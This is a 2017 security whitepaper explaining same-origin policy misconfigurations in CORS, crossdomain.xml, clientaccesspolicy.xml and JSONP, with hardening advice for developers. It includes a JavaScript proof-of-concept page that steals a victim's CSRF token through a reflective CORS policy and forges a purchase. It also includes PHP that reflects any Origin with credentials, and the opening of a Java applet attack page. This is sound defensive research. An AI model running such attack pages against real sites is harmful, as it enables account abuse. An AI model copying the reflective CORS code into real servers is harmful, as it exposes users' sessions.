Whitepaper

**July 2017**


# The Not-So-Same-Origin Policy

Bypassing Web Security through Server Misconfiguration

David Petty
Associate Security Analyst
Independent Security Evaluators, LLC
dpetty@securityevaluators.com

# The Not-So-Same-Origin Policy: Bypassing Web Security through Server Misconfiguration

David Petty <dpetty@securityevaluators.com>
Jacob Thompson <jthompson@securityevaluators.com>
Independent Security Evaluators, LLC
July 2017

**Abstract**
The same-origin policy remains one of the most important security mechanisms of the web, protecting servers against malicious pages interacting with their APIs through cross-site requests. However, the subtle details of the policy can be overlooked, so we aim to show how limitations in the application of the same-origin policy can undermine security. We explain in depth how the same-origin policy works and how some web technologies can introduce loopholes that expose applications to cross-site attacks. Such misconfigurations may exist in policies utilized by Java, Flash, and Silverlight applications, and Cross-Origin Resource Sharing (CORS) headers utilized by web applications.

Some web attacks work despite the same-origin policy, including cross-site request forgery (CSRF) and cross-site scripting (XSS). Further, because XSS vulnerabilities lead to arbitrary code execution in the context of an affected page's origin, the same-origin policy provides no protection once an XSS issue occurs; in particular XSS can be used to leak anti-CSRF tokens to an attacker and perform a CSRF attack that could not otherwise occur. XSS is not the only way to bypass properly-implemented CSRF defenses because same-origin policy misconfigurations can also nullify CSRF protections and other security controls, exposing the application to a variety of harmful attacks. We summarize these attacks and how they exploit insecure policies, along with steps web application developers can take to harden their same-origin policy configuration.

**Introduction**
The same-origin policy is a web security convention that prevents different servers from freely accessing each other's data via a visitor's browser. Without such restrictions, it is straightforward for malicious entities to craft web pages that send cross-site requests to web applications of different origins and access sensitive data on behalf of victim users. Due to the necessity of modern web applications to use third-party sites for functionality, customizable policies arose that cause browsers to disregard same-origin policy restrictions on cross-origin resources. This paper focuses on overly lenient custom policies that expose web applications to untrusted third parties and the types of attacks that can exploit insecure implementations. We also explain hardening steps that allow web developers to better enforce the same-origin policy, along with other subtle information surrounding the topic.

The audience of this paper is security testers and web application developers, aiming to give them a deeper understanding of the same-origin policy and the historical and current ways in which web applications try to bypass it, or become susceptible to a bypass due to a lack of understanding of its limitations.

Currently, the relevant policy standards are the Cross-Origin Resource Sharing (CORS) response headers and the crossdomain.xml policy document (consulted by the Java runtime, Flash, and Silverlight). Silverlight also uses a less-prevalent clientaccesspolicy.xml document that supersedes crossdomain.xml only in Silverlight applications. Testing the security of same-origin policy configurations includes: first, identifying if a web server uses these custom policies, and second, identifying the extent that the policy is unnecessarily expanding the web application's attack surface. Securing this aspect of a web application is important because an insecure policy may lead to severe exploitations of the system. The first step is fully understanding the same-origin policy and how it operates.

**The Same-Origin Policy**
The same-origin policy [1] controls the ways in which HTML and JavaScript code can embed resources from or interact with web servers. It constrains code running on each domain[1] to isolate it from code running on others. Without the same-origin policy, the security of all web applications would be immediately and totally undermined, as malicious pages could interact with other web applications (e.g., online banking) in use within the same browser session. This interaction, when combined with the behavior of the most common web authentication technology—cookies—could

[1] To be precise, also the protocol (HTTP vs. HTTPS) and, depending on the browser, port (e.g., 80 vs. 8080). For more details, see [1].

 

allow the malicious page to exfiltrate data or perform any operation on the user's behalf against the targeted application.

The enforcement of the same-origin policy is not straightforward, however, for both historical and functional reasons. Much depends on the context in which a page on one server interacts with a resource hosted on another. Clearly, restricting the ability to create hyperlinks pointing to external origins would defeat the entire hypertext nature of the web! On the other hand, using AJAX[2] to obtain responses to cross-origin requests is, by necessity, universally restricted by default.

In between these clear-cut cases are other contexts in which browser vendors must allow or disallow cross-origin requests based on the "greatest good for the greatest number" principle and cannot please everyone. For example, the practice of embedding inline images pointing to an external site using the <img> tag has been allowed since the earliest days of the web and cannot be restricted without breaking compatibility, but such "hotlinking" can increase the bandwidth consumption of the external site hosting such an image and annoy its owners [2]. Similarly, when a web page embeds an external resource, the outgoing request includes any cookies pertaining to the external URL. In addition to introducing security issues that we explore later, this browser behavior enables the massive ad networks seen today that track user behavior across sites—a scenario unforeseen (and somewhat regretted) by the inventor of HTTP cookies [3].

*Exploring the Same-Origin Policy*

Given the goal of analyzing its role in web security, we cover the major points of the same-origin policy below. The raw details are given in [1].

- Sending ordinary HTTP GET or POST requests to resources on other domains, without interacting with the response in any way, is allowed. Merely embedding content in a page for display to the user does not count as interacting with the response. This lenient policy applies because the web has operated this way since its earliest days—predating the implementation of JavaScript and cookies that makes these requests potentially dangerous. HTML tags in which cross-origin requests often arise include anchors (<a>), images (<img>), media and plugins (<video>, <audio>, <object>, <embed>, and <applet>), frames (<frame>, <iframe>), stylesheets and dynamic fonts (<link>), external JavaScript source (<script src="…">), and form submissions (<form>). Consistent with this approach, making the equivalent cross-origin requests via AJAX—which W3C standardization documents label as "simple"—is also allowed, but the accessibility of the response that results is restricted as described below.

- Making a request and then accessing the response to that request is, by default, always restricted by origin; a page may only use JavaScript for bidirectional communication with its own domain. This restriction exists because these capabilities were added to HTML and JavaScript long after the dangers of unintended cross-origin requests were well known. The most common example is AJAX, which blocks the requesting page from seeing the response to a cross-origin request unless a "resource sharing check" succeeds [4]. Similarly, HTML5 <canvas> elements have a special rule, designed to prevent a site from exfiltrating an image downloaded from another site. To prohibit this, loading a cross-origin image or font into a canvas causes the canvas' "origin-clean" flag to be toggled to false, blocking any JavaScript methods that could otherwise read the contents of the canvas [5]. Otherwise, one page could load an external image onto a canvas and then convert that canvas to a bitmap in order to read the image programmatically.

- In some cases, even *sending* a request to a domain outside of a page's origin is restricted. JavaScript prevents a page from sending "non-simple" requests to an external server unless that server opts-in to such requests via the Cross-Origin Resource Sharing specification [4]. This is to "protect resources against cross-origin requests that could not originate from certain user agents before this specification existed." Any AJAX request that uses a custom request method or custom request header is considered to be "non-simple". This is one reason why some servers require a "X-Requested-With: XMLHttpRequest" header on AJAX

[2] Asynchronous JavaScript and XML, as facilitated by the XMLHttpRequest JavaScript object.

 

requests—unless the server overrides browser defaults using CORS, this implicitly blocks all cross-origin AJAX requests since no valid request will qualify as "simple."

- Browser plug-ins, such as Adobe Flash, Microsoft Silverlight, and Oracle Java applets, are free to ignore the same-origin policy or introduce their own exceptions to it. In light of this, standardizing the various ways of introducing exceptions to the same-origin policy and eliminating the need to use plug-ins for legitimate exceptions were major motivations behind CORS. Still, these plugins' own methods for loosening the same-origin policy remain applicable.

*The Same-Origin Policy as a Security Mechanism*

The same-origin policy is complex and nuanced due to its conflicting goals of providing usability and compatibility simultaneously with security. Most modern web applications need to communicate data with other sites, but an open exchange between all sites is extremely dangerous. The same-origin policy allows users to safely browse different sites through multiple tabs; for example, they may visit a sensitive banking application on one site and an untrusted web forum on another. It also allows a single web application to display data and implement functionality through a composition of third-party sites, e.g., software services or advertising. Next, we consider cross-origin attacks that work against vulnerable web servers despite the protections of the same-origin policy.

**Attack Techniques within the Constraints of the Same-Origin Policy**

A number of attacks utilize flaws in web application logic that can be exploited despite same-origin policy restrictions. In this section, we detail these vulnerabilities and their context within the same-origin policy.

*Clickjacking*

Clickjacking is an attack that leverages that fact that embedding an external web page <iframe> tag is not subject to same-origin policy restrictions by default [6]. To execute such an attack, an attacker creates a malicious page containing some functionality to entice a victim user to click a certain area, e.g., a button saying "You've won a free vacation! Click here!". However, the attacker actually places a transparent <iframe> (usually containing content from another server) over this functionality such that the user's cursor is aligned over user interface elements that cause some form of unwanted action. For example, the victim could be tricked into changing settings or deleting sensitive information on a legitimate site.

*Cross-Site Request Forgery*

Cross-site request forgery is the manipulation of a victim user to visit a malicious webpage that creates a cross-domain request to a valid, cookie-authenticated web application to perform some harmful action on behalf of the victim. Browsers by nature send cookies even along with forged cross-site requests (i.e., it is the destination of a request that determines which cookies are included, not the origin of the page that caused it), so such requests will execute in the context of an authenticated victim's session. Most web applications use HTTP requests to execute state changes like changing a password, adding new users, deleting data, etc. Web servers that lack or improperly implement CSRF tokens may be vulnerable to CSRF attacks because an attacker need not see the response to a state-changing request to leverage its side effects. For this reason, CSRF attacks against sites that employ no CSRF countermeasures work within the constraints of the same-origin policy.

The crux of this paper, as we discuss later, is that weakening the same-origin policy may nullify CSRF protections, even if properly implemented.

*Cross-Site Scripting*

Cross-site scripting (XSS) occurs when a web application does not properly validate and sanitize untrusted inputs, and an attacker can leverage this to execute JavaScript code in a victim's browser. There are a variety of cross-site scripting vulnerabilities [7], but generally, the attacker injects JavaScript code into a vulnerable page that executes when the victim visits the page. Because the injected JavaScript is trusted as part of the vulnerable website, the attack payload operates without regard to same-origin policy restrictions. Some examples of attacks include making unauthorized AJAX requests, stealing a victim's session cookie, or redirecting the victim to a malicious site.

It is important to realize that from an attacker's perspective, cross-site scripting is everything that cross-site request forgery is and more—any CSRF defenses can surely be bypassed given an XSS vulnerability. Because cross-site

 

scripting bypasses the same-origin policy entirely, policy misconfigurations that we discuss later are irrelevant to the exposure of XSS. We do not discuss XSS further; the vulnerabilities and techniques we explore can affect applications with no XSS vulnerabilities.

**Weakening the Same-Origin Policy**

The same-origin policy was appropriate and adequate for older "click and reload" web applications in which all meaningful logic and state was managed at the server, and the browser merely rendered an HTML format view of the current state. However, the inability to interact with external APIs is a major impediment to modern applications, in which this functionality is needed to integrate with services such as Google Maps, Flickr, Instagram, or Dropbox [8] from a browser client application. For this reason, web developers have created a number of workarounds to introduce exceptions to the same-origin policy when needed. These exceptions, however, often expose web applications to new attack vectors, and later in the paper we provide attack examples exploiting these policy bypasses. We describe some of the most notable configurations below.

*crossdomain.xml*

Adobe introduced crossdomain.xml files in 2003 [9]. By placing a crossdomain.xml file on a server, an administrator can permit Flash animations and PDF files to view the responses to cross-domain HTTP requests [10]. Figure 1 shows a sample crossdomain.xml file that permits any page hosted on www.example2.com to make bidirectional cross-domain requests to the server hosting the crossdomain.xml file (e.g., www.example.com). In addition, the client may send the X-Requested-By request header, even though this would otherwise deem the request to not be "simple."

```
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<!-- crossdomain.xml file for www.example.com -->
<cross-domain-policy>
<allow-access-from domain="www.example2.com"/>
<allow-http-request-headers-from domain="www.example2.com"
 headers="X-Requested-By"/>
</cross-domain-policy>
```

*Figure 1. Sample crossdomain.xml file allowing any Flash animation hosted on www.example2.com to interact with www.example.com, and to send the X-Requested-By header in these cross-domain requests.*

While the `allow-access-from` and `allow-http-request-headers-from` directives are the most relevant, crossdomain.xml files can control more than HTTP requests. Administrators configure Flash animations' access to FTP servers and the ability to make direct TCP connections on a port-by-port basis using these files. In addition, it is possible to set up a hierarchy of crossdomain.xml files to permit different access to each subdirectory on a server, if allowed by the master file in the root directory. For full details about crossdomain.xml functionality, see [10].

In 2008, Sun (now Oracle) added support for crossdomain.xml files to the Java browser plugin [11], but with an important limitation. To support cross-domain requests from Java, administrators must configure their servers in a wide open (wildcard, "*") configuration for the `allow-access-from` directive; restricting access based on the site hosting the calling applet is not supported [12]. In addition, we observed that the Java plugin allows custom request headers even if no `allow-http-request-headers-from` directive is present. For these reasons, it is not possible to securely allow cross-domain requests from Java applets when using cookies for authentication or a static custom request header (e.g., "X-Requested-By") as an anti-CSRF mechanism.

*clientaccesspolicy.xml*

Microsoft released Silverlight 2 in 2008, and along with it, introduced clientaccesspolicy.xml files to regulate the ability for Silverlight applications to interact with external servers [13]. The functionality of clientaccesspolicy.xml files is similar to Adobe's crossdomain.xml file. In fact, Silverlight will fall back to crossdomain.xml if clientaccesspolicy.xml is not found. However, like Java, Silverlight only supports crossdomain.xml files configured in an open (wildcard) configuration.

 

Figure 2 shows a sample clientaccesspolicy.xml, allowing Silverlight applications hosted on www.example2.com to make bidirectional cross-domain requests to the server hosting the clientaccesspolicy.xml file (e.g., www.example.com). In addition, the client may send the X-Requested-By request header, even though this would otherwise deem the request to not be "simple."

```
<?xml version="1.0" encoding="utf-8"?>
<!-- clientaccesspolicy.xml for www.example.com -->
<access-policy>
 <cross-domain-access>
  <policy>
   <allow-from http-request-headers="X-Requested-By" http-methods="*">
    <domain uri="http://www.example2.com/" />
   </allow-from>
   <grant-to>
    <resource path="/" include-subpaths="true" />
   </grant-to>
  </policy>
 </cross-domain-access>
</access-policy>
```

*Figure 2. Sample clientaccesspolicy.xml file allowing any Silverlight application hosted on www.example2.com to interact with www.example.com, and to send the X-Requested-By header in these requests.*

*Cross-Origin Resource Sharing (CORS)*

The World Wide Web Consortium (W3C) developed the Cross-Origin Resource Sharing standard that became an official W3C recommendation in January 2014, although in practice it was relevant by the late 2000s [14]. CORS is a configurable set of server response headers that web applications can use to whitelist domains for bidirectional transfers, whitelist headers and methods for such requests, control the use of cookies for authentication, and manage a few other specifications. CORS headers introduced a standard that is compatible with web servers across the Internet and is supported by most common browsers, unlike the crossdomain.xml and clientaccesspolicy.xml policy documents that only serve specific applications. Figure 3 shows the most important response headers with example values.

```
Access-Control-Allow-Origin: example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: Content-Type
```

*Figure 3. Sample CORS response headers to specify the third-party domains (example.com) allowed to interact with the CORS-configured server, including other conditions of requests.*

Access-Control-Allow-Origin lists the valid domains for which same-origin policy restrictions are loosened. Access-Control-Allow-Credentials determines if the web server permits cross-domain requests to use cookies for authentication. Access-Control-Allow-Methods specifies the valid methods for such requests, and Access-Control-Allow-Headers specifies the valid headers.

An important limitation for CORS policies is that attempting to set the Access-Control-Allow-Credentials to true fails if the server uses the wildcard policy, i.e., "Access-Control-Allow-Origin: *". Therefore, web applications cannot use the wildcard policy to authorize cross-domain requests that contain cookies. For an attacker, this restriction thwarts authenticated cross-site attacks against web applications that use cookies for authentication along with the wildcard policy. Conversely, if a developer legitimately desires to allow third-party domains to transfer data through cookie-authenticated requests, using a wildcard policy is impossible. CORS enforces this restriction as a security defense to prevent web application developers from completely removing same-origin policy protections through a lack of understanding of the wildcard policy's dangers.

There are cases where a wildcard policy is appropriate, however. A web service that shares publicly accessible data, e.g., a stock quote lookup site, may dynamically call third-party web services anonymously, and without sensitive data or authentication, no clear danger exists in allowing these cross-domain transfers.

 

Mozilla Developer Network provides a summary of CORS including additional details [15].

Despite CORS restrictions on the wildcard policy, CORS policies exist that increase a web application's exposure. For example, the configuration shown in the PHP code in Figure 4 mimics a more-open equivalent to a wildcard policy. In this code, the server whitelists origins on a per request basis as it reflects the incoming request's Origin header in the outgoing Access-Control-Allow-Origin header. This configuration behaves as an unrestricted wildcard policy (similar to a wildcard crossdomain.xml) because the Access-Control-Allow-Credentials header can be set to true. In this case, the web application allows data transfers with any domain, and the browser sends cookies for authentication.

```
if(isset($_SERVER['HTTP_ORIGIN'])) {
    header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
    header('Access-Control-Allow-Credentials: true');
}
```

*Figure 4. Web server PHP code to dynamically whitelist any origin sending requests to the page along with the relevant cookies.*

*JSONP*

Introduced in 2005 [16] and more of a kludge than a well-engineered, elegant solution to the problem of allowing legitimate cross-site interaction, JSON with Padding leverages the fact that while a page cannot *read* the response from an external site, it can *execute* an external JavaScript response, by embedding a <script> tag with the src attribute pointing to the external code [17]. Client-side JavaScript makes calls to JSONP-enabled APIs by sending the server a list of arguments for the call plus the name of a callback function. Figure 5 shows sample client-side code for calling a hypothetical JSONP-based location-based search API. The server responds with JavaScript code, consisting of JSON data wrapped inside a call to the given callback function.

```
<script type="text/javascript">
function handleResponse(data) {
     // render response on screen
     // ...
}

var lat = "39.3496761";
var lng = "-76.6592607";
var rad = "5";

var s = document.createElement("script");
s.src = "http://www.example.com/api/proximity_search?"
 + "&lat=" + lat
 + "&lng=" + lng
 + "&callback=handleResponse";
document.head.appendChild(s);
</script>
```

*Figure 5. Sample client code for interacting with a JSONP-based external server API.*

The major irreparable design flaw in JSONP is that pointing a <script src="…"> element to an external server allows that server to send arbitrary JavaScript code rather than a call to the given callback function. This code executes in the context of the calling page—bypassing the same-origin policy entirely. The page where the call originates (and the server hosting it) must trust all servers receiving a JSONP call not to do this.

JSONP is also limited in that (ab)using the ability to execute external scripts lacks complete and robust functionality for interacting with APIs. This technique only allows making GET requests to the server, forcing the calling page to embed all API parameters in the query string; it is not secure to pass sensitive data in this manner [18]. In addition, since the HTTP RFC states that GET requests should not have side effects [19], it is not correct to use JSONP for any

 

state-changing API calls. Finally, there is no elegant way for the calling page to detect and rectify connectivity or HTTP-level errors, or otherwise retry requests.

**Exploiting Configured Exceptions in the Same-Origin Policy**

Weakening same-origin policy restrictions through one of the methods in the previous section has repercussions for the security posture of the web application. An insecure same-origin policy configuration can open the application to a number of harmful attacks because malicious webpages will be able to send *and* receive data from the vulnerable site. For example, if the site is a banking service, the malicious webpage could send a request to a page that responds with credit card information of the victim, and this information would be returned to the attacker. Another attack, which we use as our proof-of-concept in this paper, would be requesting a page that returns the victim's CSRF token, and then extracting the token into another request that performs a CSRF attack. This effectively nullifies any CSRF protections.

For each of the following same-origin policy configuration standards, we explain how an attacker could perform these types of exploits on a web application implementing an insecure policy.

*Misconfigured CORS Headers*

As we stated, a wildcard "*" CORS policy cannot also allow the sending of cookies for authentication. However, an application may mimic a wildcard policy through the configuration shown previously in Figure 4. Assuming the application uses cookies for authentication, an attacker can craft a standard HTML page that dynamically sends a request to the vulnerable site, e.g., through an XMLHttpRequest object [20]. Because the "reflective" CORS policy surrenders the protections of the same-origin policy, the browser will allow the response of this request to be viewed by the attacker.

Figure 6 shows the JavaScript source of an example attack page. This attack page targets a simple website, example.com, where users can log in and buy apples, and the attack involves manipulating an authenticated victim user into visiting the page (e.g., through phishing). The example.com site implements CSRF protections through a request parameter token, but also implements a CORS policy that allows credentials, and reflects the incoming Origin header in the Access-Control-Allow-Origin header of its responses. The attack page, hosted on a different domain, sends two requests sequentially:

1. A GET request to mainpage.php. The response from the server contains the victim's CSRF token, which the page then extracts into a variable for the second request. This method of extraction is arbitrary, and in our example, it simply splits the response by the double quote character and searches for the first string that is 64 characters long. In this example site, this will always return the CSRF token from the response, but different sites will require other extraction techniques.
2. A POST request to buy.php. The attacker inserts the victim's CSRF token into the "csrf_token" parameter of the request, and sets the "quantity" parameter to any number. In this case, the attacker forces the victim to buy 1000 apples.

 

```
function sendRequests() {

    // send GET request, response will contain victim's CSRF token
    var get = new XMLHttpRequest();
    get.withCredentials = true;
    // sending cookies is allowed due to insecure policy
    get.open('GET', 'http://example.com/mainpage.php', true);
    get.send(null);

    // continue when GET request finishes
    get.onreadystatechange = function() {
        if(get.readyState == 4) {
            // attacker can read the response due to same-origin bypass
            var data = get.responseText;

            // extract csrf token (this is an arbitrary method)
            var token = "";
            var parts = data.split("\"");
            for(i = 0; i < parts.length; i++) {
                if(parts[i].length == 64) {
                    // store victim's CSRF token
                    token = parts[i];
                }
            }

            // send POST request to force victim to buy 1000 apples
            var post = new XMLHttpRequest();
            post.withCredentials = true;        // authenticate with cookies
            post.open('POST', 'http://example.com/buy.php', true);
            post.setRequestHeader("Content-type",     "application/x-www-form-
urlencoded");
            // add extracted token as parameter
            post.send('quantity=1000&csrf_token='+token);
        }
    }
}
```

*Figure 6. Malicious CSRF webpage's JavaScript that steals an authenticated user's CSRF token through a weakened same-origin policy.*

It's important to note that this is only one attack example specific to this demo website. Practically, real production websites have a large variety of functionality, and attack pages will vary accordingly. The underlying issue is the damage an attacker can cause when sensitive data is accessible through the responses from cross-site requests.

*Misconfigured crossdomain.xml*

Web application developers can freely set the wildcard crossdomain.xml policy, and to support exchanges between Java applets and Silverlight applications of different origins, the wildcard policy *must* be set as non-Adobe implementations of crossdomain.xml do not support more fine-grained policies. Given a susceptible crossdomain.xml policy document, the attacker may choose whether to use Java applets, Flash animations, or Silverlight applications as an attack vector. Sample implementations of Java, Flash, and Silverlight attack pages are respectively shown in Appendix A, Appendix B, and Appendix C. These web pages target a vulnerable web application at www.example.com, and they would be hosted on a different domain controlled by an attacker, e.g., www.example2.com. Each of these platforms has its own limitations from the perspective of the attacker, which we discuss in the "Attack Limitations" section below.

 

*Misconfigured clientaccesspolicy.xml*
The clientaccesspolicy.xml document is only supported by Silverlight, but behaves very similarly to crossdomain.xml. Silverlight resorts to crossdomain.xml if clientaccesspolicy.xml does not exist on the server, so if either (or both) wildcard policies exist, an attacker can utilize a Silverlight attack webpage. The Silverlight attack page's relevant source code in shown in Appendix C.

*Exceptions in Web Browsers*
The enforcement of the same-origin policy and the means to weaken it can vary across web browsers. We describe browser differences below; Internet Explorer has the most exceptions compared to other browsers.

Internet Explorer. Three browser-specific characteristics in Internet Explorer induce exceptions to the same-origin policy. [21]

1. An option exists in configuring security zones (Internet Options -> Security -> Custom level… -> Access data sources across domains) that, when enabled, removes the browser's enforcement of the same-origin policy for any cross-origin requests through JavaScript. This option is disabled by default, and should not be enabled due to the risk that it introduces.

2. For code to access the response to a cross-site request, the request must originate from a domain in the same security zone as the target site. We found this limitation to arise during our testing; our proof-of-concepts did not work properly when served from a web server on the loopback address. Internet Explorer treats the loopback address as part of the Local Intranet zone, while we attempted to attack a test site in the Internet zone.

3. Internet Explorer's enforcement of the same-origin policy disregards the port number when evaluating the equivalence of origins. As a result, the browser evaluates resources from two domains like http://example.com:80 and http://example.com:8080 as having the same origin. This exception rarely affects the security posture of websites, but still introduces some risk. For example, consider if http://example.com:80 hosts a standard web application with sensitive information and session-based authentication, and http://example.com:8080 hosts a publicly accessible web application that is vulnerable to cross-site scripting. An attacker may then be able to utilize the XSS vulnerability in the public site to forge an authenticated request to the first site on behalf of a victim user. If the victim is using Internet Explorer when visiting the malicious link, the attacker will be able to view the server's response.

Other browsers. Browsers like Google Chrome and Mozilla Firefox support their own exceptions to the same-origin policy, including plugins and configurable flags, but these are mostly used for internal development purposes. These exceptions have nuances described by miscellaneous resources on the Internet [22].

*Attack Limitations*
This section summarizes the challenges that attackers may face in exploiting a weakened same-origin policy.

Cross-Origin Resource Sharing (CORS). A built-in CORS policy states that a web application server cannot set the Access-Control-Allow-Origin header with a wildcard policy ("*") and also set the Access-Control-Allow-Credentials header to true. We discuss this in more detail under the CORS sub-section of the "Weakening the same-origin policy" section.

Java Applets and Silverlight. The first limitation of exploiting a weakened same-origin policy through Java or Silverlight, beyond the presence of a vulnerable crossdomain.xml or clientaccesspolicy.xml on the affected site, is that the attack requires the victim to run the plugin when visiting the malicious web page. This is a hurdle that would stop a number of attacks as a percentage of users will hesitate before clicking to run a program. This does not reduce the severity of same-origin policy bypasses, only the exploitability.

 

Secondly, browsers have increasingly limited support for the Java and Silverlight plugins. As of version 52 (March 2017), Mozilla exclusively supports NPAPI plugins through Firefox ESR (Extended Support Release). In order for an attack to be successful, the victim user would need to use an outdated version of Firefox or the ESR version.

Google Chrome includes no support for these plugins as of version 45. Internet Explorer, however, has no restrictions on using the Java and Silverlight plugins.

Flash Applications. The only limitation to exploiting a user through a Flash application is that the Flash plugin must be enabled in the victim's browser and that the domain must host a vulnerable crossdomain.xml file.

**Hardening the Same-Origin Policy**

Only relatively recently has it been possible for website operators to enhance the client's enforcement of the same-origin policy. Many of these hardening steps, excluding the Content-Security-Policy and X-Frame-Options headers, mitigate cross-site request forgery (CSRF) vulnerabilities. However, an insecure same-origin policy configuration, i.e., through a wildcard crossdomain.xml or CORS policy, will nullify any CSRF protections with the exception of the new same-site cookie flag. The various steps are listed below.

- *Content-Security-Policy (CSP) header* [23]. The CSP header restricts pages from *generating* a cross-origin request. This is a security measure to prevent cross-site scripting and clickjacking attacks that undermine the same-origin policy, but CSP headers will not provide additional protection to a web application that utilizes a weakened same-origin policy.

- *X-Frame-Options header* [24]. This response header provides some limited control for servers to restrict the cross-origin requests they *receive*, by preventing the embedding of pages they host on external sites using <frame> or <iframe> tags.

- *Referer checking* [25]. The Referer header is sent with requests and contains the webpage that linked to the target resource. Checking this header to verify the origin of the request provides some limited cross-site request forgery (CSRF) protections; we have seen this technique used on embedded devices or stateless servers that need to conserve memory. According to the HTTP standard [26], however, sending the Referer header is optional. Some browsers have a feature to disable it for privacy. The Referer header is also omitted on plain HTTP requests originated from a page served over HTTPS. Attacks such as CR-LF injection can also allow spoofing of the Referer header in limited cases.

- *Synchronizer (anti-CSRF) tokens* [25]. Synchronizer (or anti-CSRF) tokens are cryptographically secure random token values that are sent with any state-changing request to a web application, often in a request parameter or header. They should also be unique per user session. They create a layer of protection against CSRF attacks because an attacker forging a request on the behalf of a victim user would need to guess its value, which is nearly impossible if implemented correctly. If a web application uses a weakened same-origin policy, however, these tokens may be exposed in responses to non-state-changing requests (i.e., those without anti-CSRF protection) through malicious cross-origin requests.

- *Double cookie submission* [25]. Double cookie submission is an alternate way to implement CSRF token protections that does not require the server to maintain a session-based CSRF token. Instead, upon authentication, the server or client generates a cryptographically secure random value that the client stores as a cookie (separate from the session cookie). This cookie and a matching request parameter are then sent with any requests. An attacker must either learn this value or gain the ability to reset the cookie to perform a success CSRF attack. Again, a breach in the same-origin policy may nullify these protections.

- *Same-site cookies* [27]**.** The Same-Site cookie security flag disables the ability of a cookie to be used in cross-origin requests. This is a good security practice for websites that do not require cookie-authenticated requests from third-party domains. As of April 2017, only the Chrome and Opera browsers support the same-site cookie flag. We suspect that with foresight, this would have actually been the default behavior of web cookies

and there would instead exist another security flag to opt into the transmission of cookies in cross-site requests on an opt-in basis.

**Conclusion**

Properly configuring the same-origin policy is a balance of usability and security. Most web applications today need to receive and respond to third-party requests for the sake of functionality. However, the more third-party sites a web developer introduces into the application's policy, the more attack vectors it introduces along with them. This paper aimed to demonstrate the dangers of a weakened policy, most importantly the wildcard policy, and the serious repercussions of attacks that can target it. It is impossible to fully secure a policy that requires integration with third-party sites that the developer cannot control; however, it is important that developers make the effort to secure their web applications' same-origin policies as tightly as possible through a whitelist, instead of simply using a wildcard policy for the sake of convenience.

The most important takeaway for web developers from this paper is to consider deploying the same-site cookie flag in new web applications, and to retrofit older web applications to use it. As browser support expands, use of this flag will cut down greatly on the number of instances in which session cookies are incorporated into unwanted or unintended web requests, offering a future end to cross-site request forgery and other cross-domain attacks.

 

**References**

[1] J. Ruderman, "Same-origin policy," Mozilla Developer Network, [Online]. Available: https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy.

[2] Wikipedia, "Inline linking," [Online]. Available: https://en.wikipedia.org/wiki/Inline_linking.

[3] L. Montulli, "The reasoning behind Web Cookies," 14 May 2013. [Online]. Available: http://www.montulli-blog.com/2013/05/the-reasoning-behind-web-cookies.html.

[4] A. van Kesteren, "Cross Origin Resource Sharing," 16 January 2014. [Online]. Available: https://www.w3.org/TR/cors/#resource-sharing-check.

[5] I. Hickson et al, "4.11.4.3 Security with canvas elements," W3C, 28 October 2014. [Online]. Available: https://www.w3.org/TR/html5/scripting-1.html#security-with-canvas-elements.

[6] OWASP, "Clickjacking," [Online]. Available: https://www.owasp.org/index.php/Clickjacking.

[7] OWASP, "Cross-site Scripting (XSS)," [Online]. Available: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS).

[8] Computer Science Zone, "50 Most Useful APIs for Developers," [Online]. Available: http://www.computersciencezone.org/50-most-useful-apis-for-developers/.

[9] D. Meketa, "Policy file changes in Flash Player 9 and Flash Player 10," 1 October 2008. [Online]. Available: http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security.html.

[10] Adobe Systems, Inc., "Adobe Cross Domain Policy File Specification," 8 August 2010. [Online]. Available: http://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/CrossDomain_PolicyFile_Specification.pdf.

[11] Oracle, "Java Doodle: crossdomain.xml Support Blog," 28 May 2008. [Online]. Available: https://community.oracle.com/blogs/joshy/2008/05/28/java-doodle-crossdomainxml-support.

[12] Oracle, "Next-Generation Java Plug-In Technology Introduced in Java SE 6 update 10," [Online]. Available: http://www.oracle.com/technetwork/java/javase/plugin2-142482.html#CROSSDOMAINXML.

[13] Microsoft, "Network Security Access Restrictions in Silverlight," [Online]. Available: https://msdn.microsoft.com/en-us/library/cc645032%28VS.95%29.aspx.

[14] Wikipedia, "Cross-origin resource sharing," [Online]. Available: https://en.wikipedia.org/wiki/Cross-origin_resource_sharing#History.

[15] M. D. Network, "HTTP access control (CORS)," [Online]. Available: https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS.

[16] B. Ippolito, "Remote JSON - JSONP," 5 December 2005. [Online]. Available: http://bob.ippoli.to/archives/2005/12/05/remote-json-jsonp/.

[17] Wikipedia, "JSONP," [Online]. Available: https://en.wikipedia.org/wiki/JSONP.

[18] MITRE, "CWE-598: Information Exposure Through Query Strings in GET Request," [Online]. Available: https://cwe.mitre.org/data/definitions/598.html.

[19] R. Fielding et al, "RFC 2616 - Hypertext Transfer Protocol," 1999, p. 50.

[20] M. D. Network, "XMLHttpRequest," [Online]. Available: https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest.

[21] M. D. Network, "Same-origin policy," [Online]. Available: https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy.

[22] pointdeveloper, "How To Bypass CORS Errors On Chrome And Firefox For Testing," [Online]. Available: http://pointdeveloper.com/how-to-bypass-cors-errors-on-chrome-and-firefox-for-testing/.

[23] "CSP (Content Security Policy)," Mozilla Developer Network, [Online]. Available: https://developer.mozilla.org/en-US/docs/Web/Security/CSP.

[24] "X-Frame-Options," Mozilla Developer Network, [Online]. Available: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options.

 

[25] OWASP, "Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet," [Online]. Available: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet.

[26] R. Fielding et al, "RFC 2616 - Hypertext Transfer Protocol," 1999, pp. 150, 151.

[27] OWASP, "SameSite," [Online]. Available: https://www.owasp.org/index.php/SameSite.

 

**Appendix A: Java Applet CSRF Attack Page**

```
public class CSRF_java extends Applet {

    public String getURL = "http://example.com/mainpage.php";
    public String postURL = "http://example.com/buy.php";
